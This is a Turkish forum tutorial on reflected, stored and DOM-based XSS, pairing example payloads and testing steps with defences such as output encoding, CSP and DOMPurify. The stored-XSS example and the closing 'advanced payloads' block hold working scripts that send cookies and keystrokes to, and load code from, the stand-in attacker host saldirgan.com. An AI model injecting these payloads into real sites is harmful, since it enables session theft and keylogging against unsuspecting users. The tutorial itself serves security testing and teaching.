XSS Türleri ve Örnekleri

XSS Türleri ve Örnekleri (Detaylı Anlatım ve Uygulama Teknikleri)
Cross-Site Scripting (XSS), saldırganın hedef web sitesine kötü niyetli JavaScript kodları enjekte etmesine olanak tanıyan bir güvenlik açığıdır. Bu kodlar, diğer kullanıcıların tarayıcılarında çalıştırılır ve oturum bilgileri, çerezler, tuş vuruşları gibi hassas verileri çalabilir.

3 Ana XSS Türü:
1. Reflected XSS (Yansıyan XSS)
Saldırganın kötü niyetli kod içeren bir bağlantıyı kurbanın tıklamasını sağlamasıyla oluşur. Kod, sunucuya gönderilir ve anında geri yansıtılır.

Örnek Senaryo:
Bir arama motoru URL'si:

text
Sunucu, q parametresini doğrudan sayfaya yazdırıyorsa:

html
<p>Aradığınız: deneme</p>
Saldırgan bağlantıyı şöyle oluşturur:

text
https://hedef.com/search?q=<script>alert(document.cookie)</script>
Uygulama Teknikleri (Test):

Tüm parametrelere <script>alert('XSS')</script> gönderin.

"><script>alert(1)</script> ile HTML'den kaçış deneyin.

' onerror='alert(1)' gibi event handler'ları test edin.

Burp Suite Intruder ile XSS payload listesi gönderin (ör: PayloadAllTheThings).

Farklı kodlama deneyin: %3Cscript%3Ealert(1)%3C/script%3E

Koruma Teknikleri:

Çıktı kodlama (HTML entity encoding): < → &lt;, > → &gt;

Content-Security-Policy (CSP) başlığı ekleyin: script-src 'self'

HttpOnly flag ile çerezleri koruyun.

2. Stored XSS (Saklanan XSS)
Kötü niyetli kod, sunucuda kalıcı olarak saklanır (veritabanı, yorumlar, mesajlar). Her ziyaretçi bu kodu görüntüler.

Örnek Senaryo:
Bir yorum sistemi:

html
Yorum: <script>fetch('https://saldirgan.com/steal?cookie='+document.cookie)</script>
Bu yorum veritabanına kaydedilir ve herkesin sayfasında çalışır.

Uygulama Teknikleri (Test):

Yorum, mesaj, profil açıklaması, blog gönderisi gibi tüm kalıcı alanlara payload gönderin.

<img src=x onerror=alert(1)> ile test edin.

<svg onload=alert(1)> gibi SVG tabanlı payload'lar deneyin.

<iframe src="javascript:alert(1)"> kullanmayı deneyin.

Birden fazla alanı (başlık, içerik, etiket) aynı anda test edin.

Uzun süreli test: Payload'ı gönderip 24 saat sonra sayfanın hala etkilenip etkilenmediğini kontrol edin.

Koruma Teknikleri:

Tüm kullanıcı girdilerini veritabanına kaydetmeden önce temizleyin (sanitize).

Çıktı kodlama (context-aware encoding) uygulayın.

CSP ile inline script'leri yasaklayın: script-src 'strict-dynamic'

HTML Purifier veya OWASP Java HTML Sanitizer kullanın.

İçerik Güvenlik Politikası (CSP) raporlama endpoint'i kurun.

3. DOM-Based XSS (DOM Tabanlı XSS)
Kötü niyetli kod, sunucuya gitmeden doğrudan tarayıcıdaki DOM (Document Object Model) üzerinde çalışır. JavaScript, kullanıcı girdisini güvensiz şekilde DOM'a ekler.

Örnek Senaryo:
JavaScript kodu:

javascript
var name = location.hash.substring(1);
document.getElementById("welcome").innerHTML = "Hoşgeldin " + name;
URL:

text
https://hedef.com/#<img src=x onerror=alert(1)>
Uygulama Teknikleri (Test):

document.URL, location.hash, document.referrer, location.search gibi kaynakları test edin.

#<script>alert(1)</script> ile hash kısmını test edin.

?name=<img src=x onerror=alert(1)> ile query parametrelerini test edin.

# ve ? kombinasyonları deneyin.

javascript:alert(1) kullanarak URL protokolünü test edin.

onmouseover gibi event handler'ları deneyin.

document.write() ve .innerHTML kullanan kodları hedef alın.

Koruma Teknikleri:

.innerHTML yerine .textContent veya .innerText kullanın.

DOM manipülasyonu yaparken DOMPurify kütüphanesi kullanın.

location.hash'i kullanmadan önce encodeURIComponent() ile kodlayın.

eval() ve setTimeout(string) kullanmaktan kaçının.

nonce tabanlı CSP politikası uygulayın.

XSS Tespit Araçları:
Manuel Test:

Tüm giriş alanlarına <, >, ", ', () gönderin.

Farklı context'leri test edin (HTML, attribute, JavaScript, CSS, URL).

Otomatik Araçlar:

XSS Hunter: Blind XSS tespiti için.

XSStrike: Gelişmiş XSS tarayıcısı.

Burp Suite: Active Scan ile XSS testi.

DalFox (Dalfox): Hızlı XSS keşif aracı.

Nuclei: XSS template'leri ile tarama.

Advanced Payload'lar:

javascript
// Cookie çalma
<script>fetch('//saldirgan.com?c='+document.cookie)</script>

// Keylogger
<script>document.onkeypress=function(e){fetch('//saldirgan.com?k='+e.key)}</script>

// Form hijacking
<script>document.forms[0].action='//saldirgan.com'</script>

// CSP bypass
<script src="//saldirgan.com/payload.js"></script>

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
133,668Konular
3,288,376Mesajlar
324,349Kullanıcılar
Üst Alt